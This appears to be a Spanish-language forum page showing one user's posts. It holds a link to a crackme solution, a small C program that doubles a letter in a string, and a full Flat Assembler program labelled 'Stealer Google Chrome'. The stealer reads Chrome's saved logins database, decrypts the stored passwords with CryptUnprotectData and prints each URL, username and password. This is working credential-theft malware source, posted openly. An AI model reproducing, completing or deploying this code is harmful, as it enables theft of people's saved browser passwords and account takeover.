Bonito a la vez que tenebroso

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: apuromafo en 26 Enero 2016, 03:59 AM
1- A.ZIP: Nivel 1.
http://crackmes.de/users/damiok/firstcrackme/
_> mi solución http://crackmes.de/users/damiok/firstcrackme/solutions/apuromafo
porque no colocan las fuentes originales?
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void DuplicaLetraEnCadena(char * Cadena, char Letra);
int main()
{
char cadena[255];
char letra;
printf("Introduce una frase: ");
fgets(cadena, 255, stdin);
printf("Introduce la letra a duplicar: ");
scanf("%c",&letra);
DuplicaLetraEnCadena(cadena, letra);
return 0;
}
void DuplicaLetraEnCadena(char * Cadena, char Letra)
{
int i;
for (i = 0; i < strlen(Cadena); i++)
{
if(Cadena[i] == Letra)
{
printf("%c%c", Cadena[i], Cadena[i]);
}else{
printf("%c", Cadena[i]);
}
}
}
; Stealer Google Chrome
; Programado por Juan fary.
; Flat Assembler.
format PE Console 4.0
entry start
include 'win32ax.inc'
section '.data' data readable writeable
ruta db '\Local\Google\Chrome\User Data\Default\Login Data',0
query db 'SELECT origin_url, username_value, password_value FROM logins',0
bd dd ?
stmt dd ?
URL db 'URL: %s',10,13,0
Usuario db 'Usuario: %s',10,13,0
PASS db 'PASS: %s',10,13,0
struct DATA_BLOB
cbData dd ?
pbData dd ?
ends
datain DATA_BLOB
dataout DATA_BLOB
buffer rb 255
barra db '-----------------------------------------------------',10,13,0
BufferRuta rb 512
APPDATA db 'APPDATA',0
section '.code' code readable executable
start:
invoke GetEnvironmentVariableA, APPDATA, BufferRuta,512
invoke lstrcat, BufferRuta, ruta
cinvoke sqlite3_open, BufferRuta, bd
cmp eax, 0 ; eax = SQLITE_OK
jne salir
cinvoke sqlite3_prepare_v2, [bd] , query, -1 ,stmt,0
cmp eax, 0 ; eax = SQLITE_OK
jne salir
BuclePass:
cinvoke sqlite3_step, [stmt]
cmp eax, 100 ; eax = SQLITE_ROW
jne salir
cinvoke printf,barra
cinvoke sqlite3_column_text , [stmt], 0 ; URL
cinvoke printf,URL,eax
cinvoke sqlite3_column_text , [stmt], 1 ; USUARIO
cinvoke printf,Usuario,eax
cinvoke sqlite3_column_text , [stmt], 2 ; Contraseña
mov [datain.pbData], eax
mov [datain.cbData], 512
invoke CryptUnprotectData , datain, 0, 0, 0, 0, 0, dataout
mov ecx, -1
BucleNull:
mov edx, [dataout.pbData]
inc ecx
cmp byte[edx+ecx],0x08
jne BucleNull
mov byte[edx+ecx],0
cinvoke printf, PASS, [dataout.pbData]
cinvoke printf,barra
jmp BuclePass
salir:
cinvoke system,'PAUSE'
ret
section '.idata' import data readable writeable
library sqlite3, 'sqlite3.dll',\
msvcrt, 'msvcrt.dll',\
Crypt32, 'Crypt32.dll',\
KERNEL32, 'KERNEL32.DLL'
import sqlite3,\
sqlite3_open, 'sqlite3_open',\
sqlite3_prepare_v2, 'sqlite3_prepare_v2',\
sqlite3_column_text, 'sqlite3_column_text',\
sqlite3_step, 'sqlite3_step'
import msvcrt,\
printf, 'printf',\
memcpy,'memcpy',\
system, 'system'
import Crypt32,\
CryptUnprotectData, 'CryptUnprotectData'
import KERNEL32,\
GetEnvironmentVariableA, 'GetEnvironmentVariableA',\
lstrcat, 'lstrcatA'